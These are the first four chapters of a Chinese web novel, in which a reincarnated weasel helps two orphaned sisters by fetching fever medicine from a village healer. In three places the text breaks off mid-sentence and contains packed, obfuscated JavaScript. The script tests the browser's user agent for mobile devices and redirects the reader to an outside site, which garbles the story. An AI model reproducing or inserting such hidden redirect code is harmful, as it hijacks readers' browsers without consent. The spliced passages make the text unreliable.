《在鬼怪世界当黄大仙的日子》 1. 第 1 章 下雨了,雨滴落在屋瓦上发出嗒嗒嗒的声响,声音越来越密集,渐渐连成一片,哗哗作响。 屋顶的残破处,开始有水往下落,滴滴答答。 穿着补丁衣裳的小姑娘从门外匆匆跑了进来,把顶在头上的木盆拿下来放在了漏水处,啪嗒声响起,水落入了盆中。 小姑娘松了口气,转身跑了出去,再回来的时候,手里端着两个碗,她跑进了屋子,带着一身水汽,忙把右手的碗放在了一个竹篮前,这才抬袖擦擦脸上的雨水,看向篮中的黄毛小兽,说:“小黄狼,吃吧。” 接着她端着另一个碗走到靠墙的床边,床上有一个微微隆起的小包,她走过去轻声说:“小妹,起来吃饭了。” 床上的小包动了动,小姑娘把碗放在旁边的桌上,扶着床上的小包坐了起来,是个五六岁的小女童,看着很没精神,靠坐在小姑娘的身上,带着哭腔地说:“阿姐,我不舒服。” 小姑娘端过碗,安抚道:“阿姐知道,阿姐去寻洪大娘借了一个鸡子,小妹还记不记得阿娘说过,生病就要吃鸡子,吃了就能快些好起来了。” “阿姐把那个鸡子煮在了粥里,你闻闻,可香了!” 小童看了眼碗里,难受地问:“真的吃了鸡子就会好吗?” 小姑娘说:“会的,阿娘这么说,就一定会的!” 小童张开了嘴巴,小姑娘见状,赶紧用木勺把粥里的荷包蛋舀了起来,放到小童嘴边,小童咬了一小口,吞咽的时候,小脸痛苦地皱成了一团,哭着说:“阿姐,嗓子疼!” 小姑娘连忙放下荷包蛋,舀了一勺热粥,说:“喝点热粥顺一顺,嗓子就会好一点了。” 在距离二人约莫丈余处,放在地上的竹篮中,一只黄毛小兽伏卧着,它个头小小的,身子细长,毛茸茸的大尾巴蜷在身侧,几乎有它半个身子长了。 一双眼睛黑溜溜圆乎乎,正一眨不眨地看着床边的姐妹二人。 情况有些不太妙,许芝看着喝粥的小女童,心里想到。 十日前,她在接连的加班后猝死家中,醒来就成了一只奄奄一息的黄鼠狼,眼看就要再死一次,眼前这个正在给小女童喂粥的小姑娘救了她。 小姑娘叫韩瑛,将她带回了家中,给她清洗伤口,还去山上给她找了草药来吃。 虽然她认不出那草药叫什么,但效果是有的,十日的时间里,她的伤慢慢好转。 与此同时,她也把两个小女孩儿口中的话学了个七七八八,字音与她上辈子有所差别,但也有不少共通之处,学起来不算费力。 只是经过这些日子的观察,许芝确定这里已经不是她熟悉的那个时代了,像是往前推了几百年一样,衣饰、生活器具都不太一样。 这让她有些遗憾,但能再活一次已经是意外之喜了,哪里还能奢求更多。 “阿姐,我不想吃了。” “再吃一口,就一口。” 许芝看向了两个小孩儿,大的那个小姑娘看着也不过才十岁上下,放在她上辈子,还是个小学生呢,可在这个家里,她已经要肩负起照顾年幼妹妹的责任了。 只因她们的母亲去世了,父亲好像还活着,却不知道去了哪里。 两个小孩儿的生活本就艰难,家中空空如也,看不到一点值钱的东西,平日里吃的也是些野菜粥,只不过勉强度日罢了。 没想到屋漏偏逢连夜雨,三日前,气温骤降,年岁小的那个孩子突然就病了,韩瑛给她煮了些草药来吃,却并没起到什么作用。 病了三日,眼看着小女童的精神一日比一日差,如果再不弄些有用的药来,这孩子怕是要不好了。 估计韩瑛也是知道的,白天的时候,许芝在这屋中都听到了她在附近哀声借钱的声音,只可惜,一天下来,她只带回了一个鸡蛋。 四爪微微用力,许芝站了起来,腹部传来些许的不适,她低头看去,自己肚子上有一条从左后腿斜斜贯穿到右前腿下的伤口,伤口结了薄痂,没再流血,只是行动间拉扯到还是会有些许的痛意,如果是动作太猛,很可能会再次撕裂。 也就是这条伤口让她差点再死一次。 她成的这只黄鼠狼不过将将两月龄,就被狼妈赶出了家门,独自求生,这事放在黄鼠狼的圈子里,倒也算正常。 奈何这只黄鼠狼狩猎技巧实在是不过关,饿了几天,跑到了村子附近,还没偷到吃的,就被猫给发现了,大打一架,黄鼠狼仓皇逃出,之后许芝就在这小黄鼠狼的身体里醒了过来。 说醒来也不恰当,倒更像是恢复了上辈子的记忆一般,毕竟她也有着自己做黄鼠狼的记忆,且能感觉到前两月的那只黄鼠狼也是她自己。 这么看,自己更像是投胎,只是不知道为什么会投胎到这里,也没听说过谁投胎是越投越回去的。 这种事情想不明白只好不想了,事已至此,她还能向谁投诉不成? 许芝抬爪迈出一步,离开了竹篮,走到碗前,低头看去,碗里是小半碗粥,水多米少,有零星的蛋白碎屑混杂其中,总的来说清汤寡水,她甚至看到了自己在水中的倒影,一颗黄毛小头,脸部正中的毛发灰发黑,看着像是涂了锅底灰一样。 好一只纯正的黄鼠狼。 她低头舔食起了粥,这十日来,粥里的米一天天的越来越少,她也就知道这个家里的存粮不多了,照今日这样子来看,怕是就快见底了。 没钱,没吃的,其中一个孩子还病了,这情况当真是很不妙了。 她专心吃着,无论如何,先填饱肚子再说。 一小碗粥入了肚子,许芝已经撑了,黄鼠狼体型小,胃口也小,这点粥放在上辈子只是她几口的量,对黄鼠狼来说却已经足够了,至少混了个水饱。 她把嘴边清理干净,走到了门口,听着外头沙沙的雨声。 雨,她是看不大清楚了,黄鼠狼的视力不太好,看远一些的东西便是一片模糊,所见事物的颜色也与人见到的有所不同,灰暗了好几个色调,好在听觉和嗅觉比人强了许多,不至于真的做个睁眼瞎。 看了有一阵,天色渐渐暗了,身后响起了啜泣声,许芝转头看去,声音是从床侧传来的,小姑娘韩瑛坐在床边,她走了过去,视野渐渐清晰,果然见到韩瑛已经没有再给小童喂食了,正低头小声哭着。 她走到了韩瑛身旁,几步爬上了床边的桌子,看向床上,韩瑛的小妹韩玥又睡过去了,小女童的睫毛湿漉漉的,眉头紧紧皱着,显然在睡梦中也不舒坦。 脸颊的颜色看着有些深,难道开始发烧了? 韩瑛伸手轻轻摸了摸小童的脸颊,啜泣声大了些,许芝凑上去,蹭了蹭她的臂膀,小姑娘转身泪眼婆娑地看着她,嘴巴一瘪,眼泪珠串一样往下落。 她把许芝抱入了怀中,呜呜地哭着,哽咽着说:“小黄狼,我没用,我采的药治不好小妹的病,呜呜呜——” 许芝感觉到有眼泪落在了自己身上,她直起身,用脑袋蹭了蹭小姑娘的侧脸,唉,可怜的小姑娘。 因为韩瑛的药的确让她的伤口渐渐好转,没有发炎,所以许芝在此前一直以为韩瑛的医术不错。 韩玥才感冒的时候,见小姑娘马上就给小童煮草药来吃,许芝还放下了心,认为小童的感冒应该很快就能好了。 没想到缠绵三日,喝了草药的小童非但没好,反而更严重了,许芝这才回过味儿来。 小姑娘应该只是知道一些常见草药的功效,实则并不通什么医术,复杂一些的感冒她自然是无能为力的。 小姑娘哭得更厉害了,许是担心把小童吵醒,咬着嘴唇,努力地把哭泣声都憋在肚子里,可哭声岂是说憋就能憋回去的,反而抽泣起来,声音更大了。 她捂住自己的嘴,试图降低抽泣声,作用寥寥。 许芝安安静静地被她抱着,感受到了小姑娘的恐惧和无助,失去了双亲,只有一个小妹妹相依为命,现在小妹妹生了病,家中又无钱,她除了凭自己知道的那点微末医药知识上山采些草药回来给小妹妹吃,还能做得了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168870|196790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么呢? 渐渐的,小姑娘哭累了,她躺在了床上,抱着许芝,又搂住了自己的妹妹,一边抽泣着一边闭上了眼睛。 又过了会儿,抽泣声越来越小,某一声之后再没有响起,屋子里安静了下来,只余下嗒嗒嗒的水声。 略等了些时候,许芝才从两个小姑娘之间的缝隙里钻了出来,站在床尾,抖了抖自己身上的毛,她先走到了韩瑛身边,看看小姑娘的脸,泪痕未干,眉头紧锁,看来就是睡着了也在忧心着。 接着看向了睡在韩瑛旁边的小女童韩玥,小童的眉头也皱着,睡得并不安稳,嘴巴微张,能听到其嘴巴呼气吸气的声音。 许芝知道前天她就开始鼻塞了,到今天都没怎么好转,只能通过嘴巴呼吸,可每呼吸一次,她的眉头就要皱一皱,露出些痛苦的表情,这是因为她的喉咙在昨天开始疼了。 许芝有过这样的经历,知道每次呼吸都会让原本就不适的喉咙更加干疼,就算是她这个成年人都觉得很难熬,到了第二天就要赶紧买药来吃,更别说一个五六岁的小孩子了。 昏暗的屋子里,她隐约看到小童的脸色比起韩瑛要深上几分,于是伸出爪子放在了小童的额头上,爪垫传来的温度竟有些热。 相处了十日,因她并不像其他野生动物那样凶狠,两个小孩儿在一开始的谨慎之后就试探着对她动手动脚了,摸摸脑袋,捏捏爪子,要不是她腹部有伤口,早就被她们抱来抱去了。 许芝也因此发现,对于现在的她来说,人的体温是偏低的,换言之,她的体温比人高。 她又把爪子放到了韩瑛额头上,爪垫传来的温度是微凉的,这才是对的。 她看向小童,面色有些凝重,这么说来,韩玥的确是发烧了,那就不能再拖了,小孩儿发烧可是很危险的。 许芝用嘴巴叼住被子废了些力气才给两个小孩儿盖好,接着跳到地上,走到门口。 外头的天已经黑了,今夜没有月亮,当是伸手不见五指的黑,但在此刻的她眼中,黑夜中事物的轮廓都清晰可见,黄鼠狼在白日的视力虽说不佳,夜视能力却是比人强上了许多。 耳边的沙沙雨声已经消失不见,偶有啪嗒声响起,是屋檐上的水珠落在地上发出的。 雨停了。 她抬爪走出了房门,转身用爪子将房门给勾了过来,在夜色中发出了吱呀的声响,她看看床的方向,没什么动静,这才继续把门阖上。 虽然她没办法锁门,但掩过来能挡些夜风也好,免得一个病了没好,又病一个。 走到院门前,仰头看看,还好,门是闩好的,这样两个孩子睡在家中就安全多了。 院门看着还算结实,是厚实的实木门板,只是不知在岗了多少年,四角都变得圆滑起来,两扇门之间也颇为客气,你敬我一丝,我也敬你一毫,最下头还凑出个拳头大小的洞,看边缘的光滑程度,想来一定有不少耗子光顾这里。 许芝把头凑过去比了比,刚好能把脑袋探出去,她又把头收了回来,抖了抖耳朵,看着这个洞,踟蹰起来。 她有做黄鼠狼的记忆,当然记得,她当初遇到猫的地方其实离此处不算太远,毕竟她那时误打误撞来的就是这个村子。 所以,如果这时候出去遇到了猫该怎么办? 才恢复记忆的时候,许芝对先前做黄鼠狼的自己颇为恨铁不成钢,你一个野生的,怎么能打不过家养的猫呢? 虽说有大猫在一边压阵,可那就是半大小猫啊! 现在事到临头,许芝觉得自己还是应该稳重一点,她已经是个成年人了,就不该跟小猫咪一般见识,小猫咪那么可爱,避着它走怎么了? 况且她的伤还没好全,日常活动还好,如果真在外头遇上了猫,怕是像上次那样逃出去都难。 但今夜是无论如何都要出去的。 许芝看向洞口,又看看湿漉漉的地,虽说雨停了,但地上泥泞无比,依着猫的习性,许是不会出来,自己动作再轻点,应该不会遇上猫吧。 2. 第 2 章 雨后走路实在不是什么好体验,尤其在自己没穿鞋的情况下,地上湿烂的泥滑唧唧黏糊糊,一爪子踩上去,立刻就陷了进去,再抬起来的时候,非得用点力气不可,好不容易抬起来了,泥巴依依不舍地离开爪子,发出吧唧一声。 吧唧,许芝把后爪从泥里拔了出来,甩了甩爪子上沾的泥,一边轻手轻脚继续往前走,一边把耳朵竖得高高的,收集着方圆百米的一切动静,没有听到什么异常的响动,才能放下心来。 双眼努力地辨认着地面,尽力让自己避开泥水多的地方,鼻子一刻不停地嗅着,要是闻到了猫味或是狗味,就赶紧避开。 ——下了两三日的雨,如果地上还有猫味狗味,只能是才留下不久的了。 感谢狼妈教给她的这些常识,要不是有这些记忆,她估计自己就是被韩瑛韩玥救了,只要出门,也会很快被村子里的猫猫狗狗给弄死。 黄鼠狼这个小身板,在这个世界实在是没有太多的容错空间。 “汪汪汪——” 身后的夜色中响起了犬吠,许芝浑身一僵,这是发现她了? 不对,这声音还有些远,侧耳细听,只听到狗在小范围里原地打转,是了,到了晚上,狗都被关在了院子里,就是发现她了,没人开门,也奈何不了她。 许芝的心稍安,继续往前走。 深一脚浅一脚,四条腿都被泥水给浸湿了,即便她尽量地注意了,也还是让腹部沾上了泥浆,实在是狼狈无比,许芝从未如此地怀念过鞋子这个东西。 想当初做人的时候,下雨天烦恼的是出门会弄脏弄湿鞋子,现在好了,这个烦恼没有了,因为脏的是她的爪子和肚子! 好在这一路除了脏点,并没出什么意外,一路上有惊无险,没多久就走出了村子,也不能掉以轻心,雨既然已经停了,蛇虫野兽就该出来觅食了,跟着狼妈的两个月野外生存经历告诉她,泥泞的道路也不能阻挡大家填饱肚子的决心。 许芝在湿润的草上擦擦自己四肢上的泥浆,直起了上半身,看向前方连接着村中小路的大路,这样的路应该是会连接着城镇的,只是不知道该往哪个方向走。 她跑到了大路上,辨认着路上的稀泥,好不容易找到了一个脚印,看起来还挺清晰,仔细闻闻,能闻到上面有少许油脂一样的气味,像是以前狼妈抓到的鸟。 这气味,韩家两个小姑娘身上都有,许芝寻思着这应该就是人的气味了。 她甩了甩爪子上的泥巴,觉得这感觉颇有些神奇,以前做人的时候,她从来没有想过就跟猫味狗味一样,人竟然也是有人味的,还跟鸟味有些相似。 她看着这个脚印,上午的时候雨大,路上的泥湿软,脚印不可能留到现在还这么清晰,所以这个脚印多半是下午的时候才出现的,上面还有人味,留下的时间距离现在应该不会太久。 既然这样,脚印主人进城的可能性就不大了,应该是回家,却也不敢肯定。 许芝看向与脚印朝向相反的方向,心道赌这一把,大不了再折返回来就是了。 …… 跑了不知多久,许芝心中嘀咕起来,莫非真的跑错方向了?不然为什么这么久都没看到什么城镇,还是说这路根本就不像她想的那样通往城镇? 这么想着,动作也慢了下来,最后她索性停了下来,直起身子,让自己的鼻子离地上的泥腥味远些,试着闻闻前头的气味,恰好有微风吹来,一股驳杂的气味进入了她的鼻中,仔细分辨,其中就有人味。 许芝精神一振,看向前方,影影绰绰间好像是看到了些模糊的庞大轮廓,她跟着狼妈的时候,就没见过这么大的生物,还在夜色中一动不动,只能是人的屋舍了,于是俯身跑了过去。 距离近了,建筑物的轮廓也多少清晰了些,再近一些,就看得更清楚了。没有城墙,只有些跟韩家所在村子里一样的土墙瓦房,气味比韩家那边的村子更混杂、更不好闻,说明这里的人要多些,不会就是个比韩家村大些的村子吧。 村子里会有大夫和药铺吗? 许芝很茫然,心中对此并不乐观,如果真是村子,看病的人必然不会太多,需求不够,自然就不会有供给方出现。 她想了想,跑到了最近的屋舍旁,先凑到关闭的院门处闻了闻,没闻到狗味,也没猫味,这才顺着粗糙的土墙无声地爬上了墙头。再听听动静,屋子里安安静静的,能听到四道均匀的呼吸声,人已经熟睡了。 她直起身,面朝屋舍聚集处,此处能闻到的地面泥腥味更少了,或许能从空气中多闻出些气味来。 鼻子微动,方圆一里地的气味徐徐地入了她的鼻中。 人味、人味,还是人味,伴随着茅厕的尖锐臭气,许芝皱了皱鼻子,这地方究竟住了多少人? 继续闻,她闻到了狗味,从三个方向传来,看来这里至少有三条狗,还有猫味,虽说气味不比狗味浓郁,能闻到的不多,但许芝肯定这里的猫必定比狗多。 家家户户都有耗子作祟,却不一定都需要狗看门。 这时,一股奇怪的气味飘入了她的鼻中,上辈子的记忆被唤醒,这……好像是纸灰的气味,许芝看向气味传来的方向,夜色中,她当然还是看不清远处的事物,但能隐约看到一个亮起的色块,说明那处还有亮光。 耳边也传来了些细语声,伴着呜呜哭声,许芝猜那处屋舍中多半是死了人,正办丧事呢。 她朝着那个方向再闻了闻,纸灰味之后,一股浅淡的熟悉又陌生的气味出现,她眼睛一亮,这气味好像就是草药味! 她上辈子吃中药的时候闻到过,这辈子在韩瑛家也闻过,虽说有些不太一样,但大概就是这么个味道! 再闻了闻,许芝确定了,认准了方向,跑下墙头,朝着村外的草丛边缘跑去,这里头这么多猫猫狗狗,她可不打算以身犯险,横穿村子快是快了,命却不一定还有。 当然也不敢入草丛中,保不齐深处就蛰伏着一条大蛇,瞄准了机会就给她一口,蛇毒倒在其次,更怕的她现在体型正合适,恰好能让蛇一口吞下。 就是没有蛇,也不敢在草丛中跑,狗耳朵可灵了,听到点风吹草动就会跑出来看。也不知这里的狗有没有被关在院子里,要是没有,它们跑了出来,眼神又比自己好,一眼就能看到她,就是能跑脱,一条狗汪汪叫起来,怕不是要把这里头所有的猫猫狗狗都给引过来。 叫得狠了,人也是会起来的,真到那时,她就完蛋了。 还是沿着草缘跑最安全,离村子有段距离,动静又不大,稍有不对,还可以直接跑入草丛中躲起来。 不过十日,上下两辈子记忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168871|196790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 融合之下,她这个黄鼠狼做的是越来越得心应手了。 …… 小小药铺中,桌上点着一盏灯,看起来十七八的少女坐在桌后,手中拿着一本书,凑近了油灯,看着上面的字。 正看着,不远处的门吱呀一声被人推开,少女抬头看去,一个面有风霜的女子走了进来,女子散着头发,披着外衫,有些嗔怪地看着她,说:“就知道你还在看书,白日看了不够,晚上还看,就不怕把眼睛看坏了?” 少女说:“阿娘,还有一页,这页我看完就不看了!” 女子走了过去,道:“这页留着白日看不行?远的不说,前头刚走的刘大娘,就是年轻的时候针线活做多了,白日做了,晚上要是有月色,还要在院子里摸黑做一会儿,二十出头眼睛就看不大清了,若非如此,又怎会大清早就跌入塘子里,白白丢了性命。” 少女说:“可我点灯了。” 女子:“点灯又如何,这灯不亮又熏眼睛,要我说还比不上月色好的时候,不许再看了。” 少女讪讪,拿起一片叶子夹在了书中,说:“不看了不看了。” 女子拉着她:“天色不早了,该睡了,前几日变了天,这两日铺子里要忙,可得早些起来。” 母女二人离开屋中,关上了门,屋子里暗了下来,说话声和脚步声也渐渐远去,又过了会儿,两道关门声接连响起,接着是人走几步后停下来脱鞋上床的声音,在床上翻了几下,便没什么大的声响了。 一只黄毛小兽蹲在药铺房顶的横梁上,静静地等待着,等到再没有什么响动传来的时候,她这才从梁柱上爬了下来,轻巧地落在了地上,无声地在屋中寻来寻去,最后顺着柜脚爬上了柜台,直起身看向了整个屋中药味最浓的地方。 许芝看着眼前密密麻麻的小药柜,她知道眼前每个药柜中都装着一种药,这与她上辈子在中药房里看过的相差无几,只要其中的一部分药调配得当,就能治韩玥的病。 那么问题来了,谁来负责调配得当? 来的路上,许芝心里就有所准备,这个时代现代医学应当是还未兴起的,运气好,就算是能寻到药铺,也多半是中医。 她既不是学中医的,也没有什么家传,对于中医的印象只停留在中药很苦的程度,知道中药需要医生把脉之后现开方子。 她当然是不可能自行配出什么感冒药来的,但人不能不救。 她就想到了上辈子出现在药房中的各种中成药,还有上网时看到网友说过些管用的神药,什么安宫牛黄丸、云南白药、紫雪丹、至宝丹,这些都是中药,而且是早就调配好的,对了症,直接用就是了,效果听说很是不错。 既然这样,这里难道就没有可以治感冒的中成药么?包好的药包,上面写着治什么病,虽然还不知道自己能不能认识这里的字,但语言都相差不算太大,想必字也不能变成她完全陌生的模样。 总不能从中文直接变成英文吧。 只要不是这样,她就能试一试,找到对症的药,带回去给韩玥吃下。 在药铺里找了一圈之后,许芝明白了,还真没有! 她站在柜台上看着一个连着一个的药柜叹了口气,既然是这个情况,就非要医生不可了。 她抬起爪子摸了摸自己的脖子,若有所思。 3. 第 3 章 说话,对于健全的人来说,实在是一件再简单不过的事情,只要张开嘴巴,想说的话自然而然就会脱口而出。 虽然变成了一只黄鼠狼,许芝在前面十天也因为一直跟两个小姑娘待在一起,没有尝试过,但她觉得这事对自己应该不难。 试想,她有喉咙可以发出声音,硬件条件有了,芯子又是活了二十多年的人,软件也有了,那么就没有说不出话的可能了。 唯一要顾虑的是,不能让自己在人面前露出形迹来,免得被人认出自己非人的身份,吓到人不说,还有赊不到药的风险。 要是被人当成了妖怪,喊打喊杀,就更不好了。 打定了主意,许芝看向了之前那对母女离开的方向,门已经从外头锁上了,门缝只有窄窄的一道,莫说人了,就是耗子都出不去。 但许芝此刻又不是人,自然不用走门,她顺着梁柱爬了上去,跟着横梁走到尽头,横梁穿出土墙的地方就出现了一个拳头大小的耗子洞,她把头往里一塞,轻而易举地钻了出去。 顺着墙落到地上,还好这家人没有养狗,也没有养猫,外头的狗是不用担心了,外头的猫却不一定,这东西窜上窜下、飞檐走壁,区区围墙可拦不住它们。 许芝蛰伏在墙根,听了听动静,这才走到了院中,还是贴着墙走,闻着味道来到了两间房门紧闭的屋子前,听听声音,两间屋子里的呼吸都均匀深长起来,看来都睡着了。 她闻闻气味,在年岁大些的女子门前停了下来,张开嘴,心中跟着喊—— [大夫。] “叽叽。” 许芝睁大了眼睛,抬起爪子想要摸摸自己的嘴巴,却不得不因为爪子太脏而放弃。 方才那是她发出的声音?她明明说的是大夫,为什么出口的却是叽叽叫? 许芝不明白,再次小声喊了起来—— [大夫。] “叽叽。” [大夫!] “叽叽!” [医生!] “叽叽。” [许芝!!] “叽叽!!” 准备再喊几声,耳中却传来了屋瓦轻磕的声响,许芝脑中警报拉响,转头沿着墙跑到墙根,顺着墙爬上横梁,钻入了耗子洞,侧耳细听,又是几声屋瓦轻触后,喵呜的叫声在不远处响起,许芝几步远离了耗子洞,警惕地看着洞口,耳边屋瓦脆响接连响起。 这是什么意思?她的叫声把猫给引来了?她又不是耗子! 很快,外头没有动静了,许芝也没有动弹,她在屋中耐心地等待着,不知过了多久,才终于再次听到了屋瓦的轻响,向着远处去了。 猫现在才离开了。 许芝松了口气,这猫要真一直在外头守着她,她还真不知该怎么应对。 她蹲在横梁上,伸出爪子摸摸自己的喉咙,有心想再叫一叫,又怕把猫给引回来了,只能放弃,不过先前试了那么些次,她也多少明白了些。 她心里默念的当然是人话,可不知道为什么,这气到了喉咙的时候,就拐了个弯,变成了清一色的叽叽叫。 怪不得,上辈子网络上涌现过多少聪明的动物,唯一能学人说话的却只有几种鸟类,就是跟人朝夕相处,其它智商不低的动物,比如边牧,也都只能发出原本的汪汪叫罢了。 这么看来,动物不能说人话,软件只是一方面,硬件上也是有不足的,否则,她不可能说不出话来。 许芝站着横梁上,有点郁闷,原本还想着说话的时候不要把人给吓着了,毕竟是深夜,自己又跑到了别人家里,现在好了,她连一个字都说不出来,出口的全是叽叽叫。 这个样子,她要怎么给韩玥带治病的药回去? 就算废大力气,让大夫明白她这只黄鼠狼是来赊药的,她也没办法把韩玥的症状说出来啊。 正想着,不远处响起了吠叫,一只叫,另两只也跟着汪汪叫起来,许芝跑到了耗子洞前,侧耳听着外头的动静。 她先是在犬吠中听到了属于人的脚步声(两条腿走路的动静与四条腿很好区别),脚步声有两道,一前一后,很急促,接着,第一个叫起来的那条狗附近,又有一道脚步声响起,狗叫声更大了,许芝便知道,这是狗主人出来了。 果然,很快吱呀的开门声响起,一个男人的声音问:“这么晚了是谁在路上走?” 两道急促的脚步声停了下来,前头那道脚步声的位置,一个男声说:“是我,贾大。” 狗主人问:“贾大,这么晚了,你出来作甚?” 叫贾大的男人说:“唉,家中孩子起了热,浑身烫手,我抱着他来寻林郎中。” 狗主人立刻说:“孩子的事情,那是得上心,你们快去!” 说完,又是吱呀一声响起,门关上了,狗不死心地汪汪叫两声,狗主人低声呵斥:“别叫了,外头的不是歹人!” 这道狗叫声就歇了,另两道也跟着偃旗息鼓,许芝记下来第一条狗的位置,估摸这条狗在三条狗中的地位最高,可得小心些。 她又听到了些屋瓦轻触的脆响,距离有些远,应该是附近的猫也跟着出来看热闹了,还好她没有出去。 耳边的两道脚步声径直朝着她所在的位置走来,走到屋门前停下来,许芝刚转过身,耳边就响起了拍门声—— “林郎中,林郎中,你可在家?” 这动静可不小,许芝站着的横梁都跟着震颤了起来,又颤了几下后,另一侧一道原本均匀深长的呼吸一顿,跟着就有人翻身起床穿鞋,打开门走了出来,又开了药铺的门,一手举着油灯,问:“门外是谁?” 门外响起的是道女声了,声音颇为着急:“林郎中,是我,贾大家的,今夜我家小儿突然起了热,怎么都退不下去,想请你给他看看!” 林郎中就是刚才那看书少女的母亲,闻言说:“好,且等我一会儿。” 门外二人忙不迭应声:“好好好!” 林郎中退回了小院中,许芝听到少女睡意朦胧地问:“阿娘,是谁啊?” 林郎中简单说了事情,少女也起来了,说:“阿娘,我跟你一起。” 母女二人再出现在药铺的时候,身上的衣服已经穿好了,幽幽的灯光勉强将药铺照亮了些,屋子里却还是暗沉沉的,许芝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168872|196790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 估计她们抬起头来都看不到坐在横梁上的自己。 她没有动弹,看着母女二人打开门,把外头的人迎了进来,是一对夫妻,男的抱着孩子,女的跟在一边,男的把怀中的小儿往林郎中面前一送,忙不迭说:“林郎中你看,我儿子起热了!” 许芝看不清那小孩儿的脸色,只能从身形判断,年岁估计跟韩玥差不多,听林郎中问起小孩儿的情况,小孩儿的阿娘说:“昨日便就有些不舒坦,跟他爹说了,说他嗓子疼,他爹却硬说是人家白日在外头喊得太多了,才把嗓子喊疼了,也不想想,人家平日里都是这么喊的,怎么以前都没把嗓子喊疼过?” 那男人没说话,女人又说:“今日晚些时候,孩子也来跟我说,说他鼻子堵,嗓子疼,我看着天都要黑了,想着明日再来寻医,哪想他晚上就烧了起来,这才大半夜的来寻郎中你。” 这症状听着倒是跟韩玥差不多,屋子里安静了下来,许芝看不太清楚,但隐约能看到林郎中好像抬起了手,没多久后,她放下了手,说:“这是风寒风热赶一块了,他体内寒热夹杂,热多寒少,得先把热清了。” “我给他开些清热透表的药,兼之散寒,拿回去就煎一碗给他喝。” 夫妇二人:“是是是!” 又问了药价,要三十文一副药。 许芝记下了,她看着那林郎中走到了她正下方的药柜前,跟她女儿一起抓起了药,没多久,四副药就抓好了,那夫妇二人却说:“林郎中,我听人说你扎针厉害得紧,上次有个孩子烧了,你几针下去,孩子就退了热,这孩子烧得我们心揪,你看能不能给他扎扎针?” 林郎中说:“也好,到这边来吧,宽敞一些。” 又说:“柔儿,你也过来,给我掌灯。” 人都往那头走了,药柜前就空了下来,许芝听听那边的动静,顺着梁柱无声地落了地,看看几人,见没人注意这边,再爬到了柜台上,用嘴巴叼起药包上的细绳,很好,不知道是不是为了节省绳索,四包药竟然紧紧捆在了一起,倒是方便她了。 她又看看几人,都专注地看着那小孩儿,于是叼着药爬下柜台,瞄准了门的方向,狂奔出去,一口气跑到了对面的院墙根,嗖一下爬上去,跃过这家人,落在地上,朝着村外疾奔,这时候才听到身后传来惊呼声:“药,药不见了,有足印,是被什么畜生叼走了!” 狗叫声又响了起来,耳边的风往后灌去,呼呼作响,许芝嗅着风中的气味,不时地调整着自己的方向,埋头狂奔。 可不能留在附近,既然有东西被偷,村人就很有可能放狗出来,狗跑得比她快,鼻子也灵,就是不发出声响躲在草丛中,也会被它们发现的。 一路疾驰,身上、药包上被溅了不少泥浆,这种时候也顾不上这些了,一口气跑出了不知多远,许芝终于停了下来,她直起了上半身,看向身后,仔细听着闻着,倒是没有听到狗跑来的声音,鼻子动了动,也没闻到狗味,人味也没有了,看来是没危险了,正要松口气,一点纸灰味传入她鼻中。 许芝转头就跑,怎么回事,跑了这么久,居然离那村子还不算远么?竟还能闻到纸灰味! 4. 第 4 章 一路跑跑停停,很快,韩家所在村子的气味就传入了许芝鼻中,她停了下来,直起身子看向前面,果然看到了略显熟悉的屋舍轮廓,虽说比较模糊,但的确就是韩家所在的村子。 她松了口气,都到这里了,肯定是跑得够远了。 大半夜的,那个村里的人也不至于为了四包药追出这么远来。 有这功夫,重新抓药熬药,孩子都喝上了。 她把药包放在了一旁还算干净的草地上,至于会被打湿这件事情,哪里还能顾得上,再说药包早就被带起的泥水溅湿,也不差这一点了。 歇了歇气,等到呼吸如常后,许芝又把身上的泥浆在草上擦了擦,当然是不可能擦干净的,只能说聊胜于无罢了。 将草丛弄塌了好一块,她这才叼起药小心翼翼地往村中去,好消息是现在应该是后半夜,村里的狗多半已经睡了,坏消息是这时间正是猫活动的时候。 所以许芝依然走得很小心,不长的一段路,走走停停,花了好一阵时间,才终于到了韩家院门前,嘴里叼着药,耗子洞是钻不了了,只好爬墙,落入院中,四处走走,仔细闻了闻气味,很好,今夜院子里应该没有猫来过。 她走到院子中央,甩起了身上的毛,身上的泥水飞溅而出,发出沙沙的声响,足足甩了三次,许芝才停了下来,扭头看看自己的身体,一身的毛炸翻翻地支棱着,在夜色中看起来像个刺猬,她也无奈了,只好不管。 走到门前,屋门还是她离开时的样子,虚掩着,屋子里两道呼吸声,其中一道吸到一半总是戛然而止,一听就知道是韩玥的。 